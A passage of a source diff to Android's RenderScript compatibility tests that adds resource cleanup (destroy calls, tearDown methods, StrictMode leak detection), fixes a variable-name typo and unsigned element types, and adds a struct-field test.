+        s.destroy();
     }
 
     public void testNoRoot() {
@@ -496,5 +560,8 @@
         mRS.finish();
         waitForMessage();
         checkForErrors();
+
+        A.destroy();
+        s.destroy();
     }
 }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/LaunchClip.java b/tests/tests/renderscript/src/android/renderscript/cts/LaunchClip.java
index b87b705..e68cc2b 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/LaunchClip.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/LaunchClip.java
@@ -94,6 +94,23 @@
         mScript.set_passfail(mAPassFail);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        if (mAPassFail != null) {
+            mAPassFail.destroy();
+        }
+        if (mAin != null) {
+            mAin.destroy();
+        }
+        if (mAout != null) {
+            mAout.destroy();
+        }
+        if (mScript != null) {
+            mScript.destroy();
+        }
+        super.tearDown();
+    }
+
     private void verifyCell(int x, int y, int z, int[] a, Script.LaunchOptions sc) {
         int expected = 0x80000000;
         boolean inRange = true;
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/RSBase.java b/tests/tests/renderscript/src/android/renderscript/cts/RSBase.java
index 2ca4f13..ec5e781 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/RSBase.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/RSBase.java
@@ -18,6 +18,7 @@
 
 import android.content.Context;
 import android.content.res.Resources;
+import android.os.StrictMode;
 import android.renderscript.RenderScript.RSErrorHandler;
 import android.renderscript.RenderScript.RSMessageHandler;
 import android.renderscript.RSRuntimeException;
@@ -80,6 +81,12 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
+
+        StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
+                               .detectLeakedClosableObjects()
+                               .penaltyLog()
+                               .build());
+
         result = 0;
         msgHandled = false;
         mCtx = getContext();
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/ReduceTest.java b/tests/tests/renderscript/src/android/renderscript/cts/ReduceTest.java
index 71d5549..dc85320 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/ReduceTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/ReduceTest.java
@@ -34,6 +34,12 @@
         mScript.invoke_setInfsHalf(RSUtils.FLOAT16_NEGATIVE_INFINITY, RSUtils.FLOAT16_POSITIVE_INFINITY);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        mScript.destroy();
+        super.tearDown();
+    }
+
     ///////////////////////////////////////////////////////////////////
 
     private void assertEquals(final float[] javaRslt, final float[] rsRslt) {
@@ -194,6 +200,8 @@
         final int rsRslt = mScript.reduce_addint(inputAllocation).get();
 
         assertEquals(javaRslt, rsRslt);
+
+        inputAllocation.destroy();
     }
 
     ///////////////////////////////////////////////////////////////////
@@ -284,6 +292,9 @@
 
         short[] outputArray = new short[4];
         outputAllocation.copyTo(outputArray);
+
+        inputAllocation.destroy();
+        outputAllocation.destroy();
         return new Short2[] { new Short2(outputArray[0], outputArray[1]),
                               new Short2(outputArray[2], outputArray[3]) };
     }
@@ -322,6 +333,7 @@
         final float[] javaRslt = findMinMat(inputArray);
         final float[] rsRslt = mScript.reduce_findMinMat(inputAllocation).get();
 
+        inputAllocation.destroy();
         assertEquals(javaRslt, rsRslt);
     }
 
@@ -353,6 +365,7 @@
         final float[] javaRslt = findMinAndMaxMat(inputArray);
         final float[] rsRslt = mScript.reduce_findMinAndMaxMat(inputAllocation).get();
 
+        inputAllocation.destroy();
         assertEquals(javaRslt, rsRslt);
     }
 
@@ -388,6 +401,7 @@
 
         final int cellVal = inputArray[rsRslt.x + dimX * rsRslt.y];
 
+        inputAllocation.destroy();
         assertEquals("input[" + rsRslt.x + ", " + rsRslt.y + "]", 0, cellVal);
     }
 
@@ -410,6 +424,7 @@
 
         final int cellVal = inputArray[rsRslt.x + dimX * rsRslt.y + dimX * dimY * rsRslt.z];
 
+        inputAllocation.destroy();
         assertEquals("input[" + rsRslt.x + ", " + rsRslt.y + ", " + rsRslt.z + "]", 0, cellVal);
     }
 
@@ -433,6 +448,10 @@
         long[] outputArray = new long[histogramBucketCount];
         for (int i = 0; i < histogramBucketCount; ++i)
             outputArray[i] = outputArrayMistyped[i] & (long)0xffffffff;
+
+        inputAllocation.destroy();
+        outputAllocation.destroy();
+        scriptHsg.destroy();
         return outputArray;
     }
 
@@ -507,6 +526,10 @@
                 }
             }
         }
+
+        for (Allocation a : inputs) {
+            a.destroy();
+        }
     }
 
     public void testBadSumXorInputLengthMismatch() {
@@ -567,6 +590,11 @@
             } catch (RSRuntimeException e) {
             }
         }
+
+        inputI32.destroy();
+        for (Allocation a : badInput) {
+            a.destroy();
+        }
     }
 
     ///////////////////////////////////////////////////////////////////
@@ -620,6 +648,16 @@
                 }
             }
         }
+
+        for (Allocation a : allocs1) {
+            a.destroy();
+        }
+        for (Allocation a : allocs2) {
+            a.destroy();
+        }
+        for (Allocation a : allocs3) {
+            a.destroy();
+        }
     }
 
     public void testBadSillySumInputLengthMismatch() {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/RenderScriptTest.java b/tests/tests/renderscript/src/android/renderscript/cts/RenderScriptTest.java
index 4007260..6d8c0a3 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/RenderScriptTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/RenderScriptTest.java
@@ -29,6 +29,8 @@
         RenderScript mRS = RenderScript.create(getContext());
         ScriptC_passthrough t = new ScriptC_passthrough(mRS);
         t.invoke_passthrough(5);
+        mRS.finish();
+        t.destroy();
         mRS.destroy();
     }
 
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/RsPackColorTo8888Test.java b/tests/tests/renderscript/src/android/renderscript/cts/RsPackColorTo8888Test.java
index d6ea521..da4ca23 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/RsPackColorTo8888Test.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/RsPackColorTo8888Test.java
@@ -32,6 +32,12 @@
     }
 
     @Override
+    protected void tearDown() throws Exception {
+        script_f32.destroy();
+        super.tearDown();
+    }
+
+    @Override
     public void forEach(int testId, Allocation mIn, Allocation mOut) throws RSRuntimeException {
         switch (testId) {
         case 0:
@@ -90,6 +96,9 @@
                 assertEquals(refArray[i+j] & 0xff, outArray[i+j] & 0xff);
             }
         }
+
+        mAllocationIn.destroy();
+        mAllocationOut.destroy();
     }
 
     private void float4input(long seed, int testId) {
@@ -117,6 +126,9 @@
                 assertEquals(refArray[i+j] & 0xff, outArray[i+j] & 0xff);
             }
         }
+
+        mAllocationIn.destroy();
+        mAllocationOut.destroy();
     }
 
     private byte[] rs_PackColorTo8888(Float3 color) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/RsUnpackColor8888Test.java b/tests/tests/renderscript/src/android/renderscript/cts/RsUnpackColor8888Test.java
index 4754a9f..30d278d 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/RsUnpackColor8888Test.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/RsUnpackColor8888Test.java
@@ -26,6 +26,14 @@
     private ScriptC_rs_unpack_color_8888 script;
 
     @Override
+    protected void tearDown() throws Exception {
+        if (script != null) {
+            script.destroy();
+        }
+        super.tearDown();
+    }
+
+    @Override
     public void forEach(int testId, Allocation mIn, Allocation mOut) throws RSRuntimeException {
         script.forEach_root(mIn, mOut);
     }
@@ -59,6 +67,9 @@
                 assertEquals(refArray[i+j], outArray[i+j]);
             }
         }
+
+        mAllocationIn.destroy();
+        mAllocationOut.destroy();
     }
 
     private static Float4 rs_UnpackColor8888(byte[] c) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/SampleTest.java b/tests/tests/renderscript/src/android/renderscript/cts/SampleTest.java
index a468b9f..6c38347 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/SampleTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/SampleTest.java
@@ -86,6 +86,9 @@
 
     @Override
     protected void tearDown() throws Exception {
+        mAlloc_RGBA_1D.destroy();
+        mAlloc_RGBA_2D.destroy();
+        mScript.destroy();
         super.tearDown();
     }
 
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/ScriptGroupTest.java b/tests/tests/renderscript/src/android/renderscript/cts/ScriptGroupTest.java
index a52d308..6b43945 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/ScriptGroupTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/ScriptGroupTest.java
@@ -66,10 +66,15 @@
         group.setOutput(mColorMatrix.getKernelID(), a2_copy);
 
         group.execute();
+
+        mColorMatrix.destroy();
+        a1_copy.destroy();
+        a2_copy.destroy();
+        group.destroy();
     }
 
     public void testScriptGroupDisconnectedKernel() {
-        ScriptGroup group;
+        ScriptGroup group = null;
 
         Type connect = new Type.Builder(mRS, Element.U8_4(mRS)).setX(bDimX).setY(bDimY).create();
 
@@ -99,6 +104,14 @@
         } catch (RSInvalidStateException e) {
 
         }
+
+        mColorMatrix.destroy();
+        mColorMatrix2.destroy();
+        a1_copy.destroy();
+        a2_copy.destroy();
+        if (group != null) {
+            group.destroy();
+        }
     }
 
 
@@ -141,10 +154,15 @@
 
         group.execute();
 
+        mConvolve3x3.destroy();
+        mColorMatrix.destroy();
+        a1_copy.destroy();
+        a2_copy.destroy();
+        group.destroy();
     }
 
     public void testScriptGroupDisconnectedDAG() {
-        ScriptGroup group;
+        ScriptGroup group = null;
 
         Type connect = new Type.Builder(mRS, Element.U8_4(mRS)).setX(bDimX).setY(bDimY).create();
 
@@ -189,6 +207,15 @@
 
         }
 
+        mConvolve3x3.destroy();
+        mConvolve3x32.destroy();
+        mColorMatrix.destroy();
+        mColorMatrix2.destroy();
+        a1_copy.destroy();
+        a2_copy.destroy();
+        if (group != null) {
+            group.destroy();
+        }
     }
 
     public void testScriptGroupTorture() {
@@ -262,6 +289,17 @@
         compare.forEach_compare(out);
         compare.forEach_getCompareResult(resultAlloc);
         resultAlloc.copyTo(result);
+
+        node1.destroy();
+        node2.destroy();
+        node3.destroy();
+        node4.destroy();
+        node5.destroy();
+        in1.destroy();
+        in2.destroy();
+        out.destroy();
+        resultAlloc.destroy();
+
         assertTrue(result[0] == 2);
     }
 
@@ -309,6 +347,12 @@
             FoundError = true;
         }
 
+        aFailed.destroy();
+        aSharedInt.destroy();
+        mG1.destroy();
+        mG2.destroy();
+        group.destroy();
+
         checkForErrors();
     }
 
@@ -352,6 +396,9 @@
 
         mRS.finish();
 
+        input.destroy();
+        group.destroy();
+
         boolean failed = false;
         for (int i = 0; i < ARRAY_SIZE * 4; i++) {
             if (a[i] != (i+1) * 2) {
@@ -407,6 +454,9 @@
 
         mRS.finish();
 
+        input.destroy();
+        group.destroy();
+
         boolean failed = false;
         for (int i = 0; i < 4; i++) {
             if (failed == false && a[i] != ARRAY_SIZE * (ARRAY_SIZE - 1) * 7 / 2) {
@@ -465,6 +515,10 @@
 
         mRS.finish();
 
+        input.destroy();
+        input1.destroy();
+        group.destroy();
+
         boolean failed = false;
         for (int i = 0; i < 4; i++) {
             if (failed == false && a[i] != ARRAY_SIZE * (ARRAY_SIZE - 1) / 2) {
@@ -536,6 +590,9 @@
 
         mRS.finish();
 
+        input.destroy();
+        group.destroy();
+
         boolean failed = false;
         for (int i = 0; i < ARRAY_SIZE; i++) {
             for (int j = 0; j < 4; j++) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/ScriptTest.java b/tests/tests/renderscript/src/android/renderscript/cts/ScriptTest.java
index 8c41e14..14e444b 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/ScriptTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/ScriptTest.java
@@ -52,5 +52,8 @@
         S.setVar(13, a);  // allocationTest
 
         S.bindAllocation(a, 14);  // intPtrTest
+
+        a.destroy();
+        S.destroy();
     }
 }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/SendToClient.java b/tests/tests/renderscript/src/android/renderscript/cts/SendToClient.java
index 8b48bea..ba4c8a8 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/SendToClient.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/SendToClient.java
@@ -27,6 +27,14 @@
     private static final Semaphore mSync = new Semaphore(0);
     private static Random random = new Random();
 
+    @Override
+    protected void tearDown() throws Exception {
+        if (mInAllocation != null) {
+            mInAllocation.destroy();
+        }
+        super.tearDown();
+    }
+
     int outArray[] = new int[4];
     RSMessageHandler mRsMessage = new RSMessageHandler() {
         public void run() {
@@ -88,6 +96,9 @@
         // TODO Auto-generated catch block
             e.printStackTrace();
         }
+
+        mScript.destroy();
+
         assertEquals(createErrorMsgF(1, Id, outArray[0]), Id, outArray[0]);
     }
 
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/SendToClientBlockingTest.java b/tests/tests/renderscript/src/android/renderscript/cts/SendToClientBlockingTest.java
index 58fba9b..085c763 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/SendToClientBlockingTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/SendToClientBlockingTest.java
@@ -36,6 +36,14 @@
         random = new Random();
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        if (mScript != null) {
+            mScript.destroy();
+        }
+        super.tearDown();
+    }
+
     RSMessageHandler mRsMessageForTest = new RSMessageHandler() {
         public void run() {
             switch (mID) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/SetObjectTest.java b/tests/tests/renderscript/src/android/renderscript/cts/SetObjectTest.java
index ef6687f..3af1694 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/SetObjectTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/SetObjectTest.java
@@ -47,20 +47,35 @@
         sampler = new Sampler.Builder(mRS).create();
         script = new ScriptC_set_object(mRS);
 
+
         ms_set = new ScriptC_set_object(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        if (mIn != null) {
+            mIn.destroy();
+        }
+        if (mOut != null) {
+            mOut.destroy();
+        }
+        allocation.destroy();
+        script.destroy();
+        ms_set.destroy();
+        super.tearDown();
+    }
+
     /**
      * rsSetObject test
      */
     public void testSetObjectElement() {
-        ScriptField__set_object_element_input filed = new ScriptField__set_object_element_input(
+        ScriptField__set_object_element_input field = new ScriptField__set_object_element_input(
                 mRS, 1);
         ScriptField__set_object_element_input.Item mItem = new ScriptField__set_object_element_input.Item();
         mItem.element = element;
-        filed.set(mItem, 0, true);
+        field.set(mItem, 0, true);
 
-        mIn = filed.getAllocation();
+        mIn = field.getAllocation();
         mOut = Allocation.createSized(mRS, Element.I32(mRS), ObjectNum);
         try {
             ms_set.forEach_set_object_element(mIn, mOut);
@@ -75,12 +90,12 @@
     }
 
     public void testSetObjectType() {
-        ScriptField__set_object_type_input filed = new ScriptField__set_object_type_input(mRS, 1);
+        ScriptField__set_object_type_input field = new ScriptField__set_object_type_input(mRS, 1);
         ScriptField__set_object_type_input.Item mItem = new ScriptField__set_object_type_input.Item();
         mItem.type = type;
-        filed.set(mItem, 0, true);
+        field.set(mItem, 0, true);
 
-        mIn = filed.getAllocation();
+        mIn = field.getAllocation();
         mOut = Allocation.createSized(mRS, Element.I32(mRS), ObjectNum);
 
         try {
@@ -97,13 +112,13 @@
     }
 
     public void testSetObjectAllocation() {
-        ScriptField__set_object_allocation_input filed = new ScriptField__set_object_allocation_input(
+        ScriptField__set_object_allocation_input field = new ScriptField__set_object_allocation_input(
                 mRS, 1);
         ScriptField__set_object_allocation_input.Item mItem = new ScriptField__set_object_allocation_input.Item();
         mItem.allocation = allocation;
-        filed.set(mItem, 0, true);
+        field.set(mItem, 0, true);
 
-        mIn = filed.getAllocation();
+        mIn = field.getAllocation();
         mOut = Allocation.createSized(mRS, Element.I32(mRS), ObjectNum);
 
         try {
@@ -119,13 +134,13 @@
     }
 
     public void testSetObjectSampler() {
-        ScriptField__set_object_sampler_input filed = new ScriptField__set_object_sampler_input(
+        ScriptField__set_object_sampler_input field = new ScriptField__set_object_sampler_input(
                 mRS, 1);
         ScriptField__set_object_sampler_input.Item mItem = new ScriptField__set_object_sampler_input.Item();
         mItem.sampler = sampler;
-        filed.set(mItem, 0, true);
+        field.set(mItem, 0, true);
 
-        mIn = filed.getAllocation();
+        mIn = field.getAllocation();
         mOut = Allocation.createSized(mRS, Element.I32(mRS), ObjectNum);
 
         try {
@@ -141,13 +156,13 @@
     }
 
     public void testSetObjectScript() {
-        ScriptField__set_object_script_input filed = new ScriptField__set_object_script_input(
+        ScriptField__set_object_script_input field = new ScriptField__set_object_script_input(
                 mRS, 1);
         ScriptField__set_object_script_input.Item mItem = new ScriptField__set_object_script_input.Item();
         mItem.script = script;
-        filed.set(mItem, 0, true);
+        field.set(mItem, 0, true);
 
-        mIn = filed.getAllocation();
+        mIn = field.getAllocation();
         mOut = Allocation.createSized(mRS, Element.I32(mRS), ObjectNum);
 
         try {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/SingleSourceAllocationTest.java b/tests/tests/renderscript/src/android/renderscript/cts/SingleSourceAllocationTest.java
index 88b96ac..8a8e291 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/SingleSourceAllocationTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/SingleSourceAllocationTest.java
@@ -44,6 +44,12 @@
         s.set_gStart(start);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        s.destroy();
+        super.tearDown();
+    }
+
     public void testElementCreation() {
         s.invoke_TestElementCreation();
         waitForMessage();
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/SingleSourceForEachTest.java b/tests/tests/renderscript/src/android/renderscript/cts/SingleSourceForEachTest.java
index a55d847..5f17655 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/SingleSourceForEachTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/SingleSourceForEachTest.java
@@ -64,6 +64,16 @@
         testInputAlloc2.copyFrom(testInputArray2);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        testInputAlloc.destroy();
+        testInputAlloc2.destroy();
+        testOutputAlloc.destroy();
+        baselineOutputAlloc.destroy();
+        s.destroy();
+        super.tearDown();
+    }
+
     public void testSingleInputKernelLaunch() {
         s.forEach_foo(testInputAlloc, baselineOutputAlloc);
         s.invoke_testSingleInput(testInputAlloc, testOutputAlloc);
@@ -115,4 +125,11 @@
         baselineOutputAlloc.copyTo(baselineOutputArray);
         checkArray(baselineOutputArray, testOutputArray, Y, X, X);
     }
+
+    public void testConsistency() {
+        s.invoke_testConsistency(testInputAlloc, testOutputAlloc);
+        mRS.finish();
+        waitForMessage();
+        checkForErrors();
+    }
 }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/SmallStructsTest.java b/tests/tests/renderscript/src/android/renderscript/cts/SmallStructsTest.java
index 28a9528..8a4d6e0 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/SmallStructsTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/SmallStructsTest.java
@@ -54,6 +54,12 @@
         mScript = new ScriptC_small_structs(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        mScript.destroy();
+        super.tearDown();
+    }
+
     void checkForErrorsInScript() {
         mRS.finish();
         mScript.invoke_checkError();
@@ -176,6 +182,9 @@
             // Run the test.
             modify.invoke(mScript, alloc, alloc);
             verify.invoke(mScript, alloc);
+
+            mRS.finish();
+            alloc.destroy();
         }
 
         checkForErrorsInScript();
@@ -235,6 +244,9 @@
                 // Run the test.
                 modify.invoke(mScript, alloc, alloc);
                 verify.invoke(mScript, alloc);
+
+                mRS.finish();
+                alloc.destroy();
             }
         }
 
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/StructArrayTest.java b/tests/tests/renderscript/src/android/renderscript/cts/StructArrayTest.java
index 91e65f8..86a0a04 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/StructArrayTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/StructArrayTest.java
@@ -30,6 +30,9 @@
         pad.bind_s(S);
         pad.invoke_verify();
         waitForMessage();
+
+        pad.destroy();
+
         checkForErrors();
     }
 }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/StructFieldTest.java b/tests/tests/renderscript/src/android/renderscript/cts/StructFieldTest.java
new file mode 100644
index 0000000..f98cd05
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/StructFieldTest.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.renderscript.cts;
+
+import android.content.Context;
+import android.renderscript.RenderScript;
+import java.util.Random;
+
+public class StructFieldTest extends RSBaseCompute {
+    private Random r;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        r = new Random(0);
+    }
+
+    private ScriptField_InnerOne.Item makeInnerOne() {
+        ScriptField_InnerOne.Item innerOne = new ScriptField_InnerOne.Item();
+        innerOne.x = r.nextInt();
+        innerOne.y = r.nextInt();
+        innerOne.f = r.nextFloat();
+        return innerOne;
+    }
+
+    private ScriptField_InnerTwo.Item makeInnerTwo() {
+        ScriptField_InnerTwo.Item innerTwo = new ScriptField_InnerTwo.Item();
+        innerTwo.z = (byte)r.nextInt();
+        innerTwo.innerOne = makeInnerOne();
+        return innerTwo;
+    }
+
+    public void testStructField() {
+        ScriptC_struct_field s = new ScriptC_struct_field(mRS);
+
+        ScriptField_Outer.Item outer = new ScriptField_Outer.Item();
+        outer.innerOneA = makeInnerOne();
+        outer.l = r.nextLong();
+        outer.innerOneB = makeInnerOne();
+        for (int i = 0; i < 3; ++i)
+            outer.innerTwo3[i] = makeInnerTwo();
+        for (int i = 0; i < 2; ++i)
+            outer.innerTwo2[i] = makeInnerTwo();
+        for (int i = 0; i < 4; ++i)
+            outer.innerOne4[i] = makeInnerOne();
+        outer.innerOneC = makeInnerOne();
+        s.set_outer(outer);
+
+        s.invoke_checkOuter(
+            outer.innerOneA.x, outer.innerOneA.y, outer.innerOneA.f,
+            outer.l,
+            outer.innerOneB.x, outer.innerOneB.y, outer.innerOneB.f,
+            outer.innerTwo3[0].z,
+            outer.innerTwo3[0].innerOne.x, outer.innerTwo3[0].innerOne.y, outer.innerTwo3[0].innerOne.f,
+            outer.innerTwo3[1].z,
+            outer.innerTwo3[1].innerOne.x, outer.innerTwo3[1].innerOne.y, outer.innerTwo3[1].innerOne.f,
+            outer.innerTwo3[2].z,
+            outer.innerTwo3[2].innerOne.x, outer.innerTwo3[2].innerOne.y, outer.innerTwo3[2].innerOne.f,
+            outer.innerTwo2[0].z,
+            outer.innerTwo2[0].innerOne.x, outer.innerTwo2[0].innerOne.y, outer.innerTwo2[0].innerOne.f,
+            outer.innerTwo2[1].z,
+            outer.innerTwo2[1].innerOne.x, outer.innerTwo2[1].innerOne.y, outer.innerTwo2[1].innerOne.f,
+            outer.innerOne4[0].x, outer.innerOne4[0].y, outer.innerOne4[0].f,
+            outer.innerOne4[1].x, outer.innerOne4[1].y, outer.innerOne4[1].f,
+            outer.innerOne4[2].x, outer.innerOne4[2].y, outer.innerOne4[2].f,
+            outer.innerOne4[3].x, outer.innerOne4[3].y, outer.innerOne4[3].f,
+            outer.innerOneC.x, outer.innerOneC.y, outer.innerOneC.f);
+
+        mRS.finish();
+        waitForMessage();
+        checkForErrors();
+    }
+}
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/StructPadTest.java b/tests/tests/renderscript/src/android/renderscript/cts/StructPadTest.java
index ee3483a..fd2726c 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/StructPadTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/StructPadTest.java
@@ -42,6 +42,9 @@
         pad.set_s(I);
         pad.invoke_verify();
         waitForMessage();
+
+        pad.destroy();
+
         checkForErrors();
     }
 }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/Target.java b/tests/tests/renderscript/src/android/renderscript/cts/Target.java
index 55d3712..3ac4ff8 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/Target.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/Target.java
@@ -341,7 +341,7 @@
             mHasRange = false;
             mValue = values[0];
             for (double f: values) {
-                if (f != f) {
+                if (Double.isNaN(f)) {
                     mCanBeNan = true;
                     continue;
                 }
@@ -573,7 +573,7 @@
         public boolean couldBe(double a, double extraAllowedError) {
             //Log.w("Floaty.couldBe", "Can " + Double.toString(a) + " be " + toString() + "? ");
             // Handle the input being a NaN.
-            if (a != a) {
+            if (Double.isNaN(a)) {
                 //Log.w("couldBe", "true because is Naan");
                 return mCanBeNan;
             }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/TestCtxDim.java b/tests/tests/renderscript/src/android/renderscript/cts/TestCtxDim.java
index 4a2af00..509005c 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/TestCtxDim.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/TestCtxDim.java
@@ -40,5 +40,8 @@
         script.invoke_check_result();
         mRS.finish();
         waitForMessage();
+
+        A.destroy();
+        script.destroy();
     }
 }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/VLoadTest.java b/tests/tests/renderscript/src/android/renderscript/cts/VLoadTest.java
index 0b30bde..28d8875 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/VLoadTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/VLoadTest.java
@@ -38,7 +38,21 @@
         scriptRelaxed = new ScriptC_vload_relaxed(mRS);
     }
 
-
+    @Override
+    protected void tearDown() throws Exception {
+        if (walkAlloc != null) {
+            walkAlloc.destroy();
+        }
+        if (inAlloc != null) {
+            inAlloc.destroy();
+        }
+        if (outAlloc != null) {
+            outAlloc.destroy();
+        }
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
 
     protected void createWalk() {
         int tmp[] = new int[w];
@@ -202,7 +216,7 @@
     }
 
     public void testVload_uchar() {
-        testSetup(Type.createX(mRS, Element.I8(mRS), w));
+        testSetup(Type.createX(mRS, Element.U8(mRS), w));
         byte tmp[] = randomByteArray(w);
         byte tmp2[] = new byte[w];
         script.forEach_copy2d_uchar(walkAlloc);
@@ -218,7 +232,7 @@
     }
 
     public void testVload_uchar_relaxed() {
-        testSetup(Type.createX(mRS, Element.I8(mRS), w));
+        testSetup(Type.createX(mRS, Element.U8(mRS), w));
         byte tmp[] = randomByteArray(w);
         byte tmp2[] = new byte[w];
         scriptRelaxed.forEach_copy2d_uchar(walkAlloc);
@@ -234,7 +248,7 @@
     }
 
     public void testVload_ushort() {
-        testSetup(Type.createX(mRS, Element.I16(mRS), w));
+        testSetup(Type.createX(mRS, Element.U16(mRS), w));
         short tmp[] = randomShortArray(w);
         short tmp2[] = new short[w];
         script.forEach_copy2d_ushort(walkAlloc);
@@ -250,7 +264,7 @@
     }
 
     public void testVload_ushort_relaxed() {
-        testSetup(Type.createX(mRS, Element.I16(mRS), w));
+        testSetup(Type.createX(mRS, Element.U16(mRS), w));
         short tmp[] = randomShortArray(w);
         short tmp2[] = new short[w];
         scriptRelaxed.forEach_copy2d_ushort(walkAlloc);
@@ -266,7 +280,7 @@
     }
 
     public void testVload_uint() {
-        testSetup(Type.createX(mRS, Element.I32(mRS), w));
+        testSetup(Type.createX(mRS, Element.U32(mRS), w));
         int tmp[] = randomIntArray(w);
         int tmp2[] = new int[w];
         script.forEach_copy2d_uint(walkAlloc);
@@ -282,7 +296,7 @@
     }
 
     public void testVload_uint_relaxed() {
-        testSetup(Type.createX(mRS, Element.I32(mRS), w));
+        testSetup(Type.createX(mRS, Element.U32(mRS), w));
         int tmp[] = randomIntArray(w);
         int tmp2[] = new int[w];
         scriptRelaxed.forEach_copy2d_uint(walkAlloc);
@@ -298,7 +312,7 @@
     }
 
     public void testVload_ulong() {
-        testSetup(Type.createX(mRS, Element.I64(mRS), w));
+        testSetup(Type.createX(mRS, Element.U64(mRS), w));
         long tmp[] = randomLongArray(w);
         long tmp2[] = new long[w];
         script.forEach_copy2d_ulong(walkAlloc);
@@ -312,7 +326,7 @@
         verify(tmp, tmp2, "Data mismatch relaxed long: ");
     }
     public void testVload_ulong_relaxed() {
-        testSetup(Type.createX(mRS, Element.I64(mRS), w));
+        testSetup(Type.createX(mRS, Element.U64(mRS), w));
         long tmp[] = randomLongArray(w);
         long tmp2[] = new long[w];
         scriptRelaxed.forEach_copy2d_ulong(walkAlloc);
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/VoidPtr.java b/tests/tests/renderscript/src/android/renderscript/cts/VoidPtr.java
index 9c18d2d..d206c00 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/VoidPtr.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/VoidPtr.java
@@ -27,7 +27,6 @@
     Allocation AFailed;
     int [] Failed;
 
-
     protected void setupVoidPtr(RenderScript mRS, ScriptC_void_ptr gs) {
         Type.Builder typeBuilder = new Type.Builder(mRS, Element.I32(mRS));
         Type t = typeBuilder.setX(1).create();
@@ -39,6 +38,20 @@
         gs.set_aFailed(AFailed);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        if (AFailed != null) {
+            AFailed.destroy();
+        }
+        if (AInput != null) {
+            AInput.destroy();
+        }
+        if (AOutput != null) {
+            AOutput.destroy();
+        }
+        super.tearDown();
+    }
+
     /**
      * Test whether we properly iterate over the elements of an output
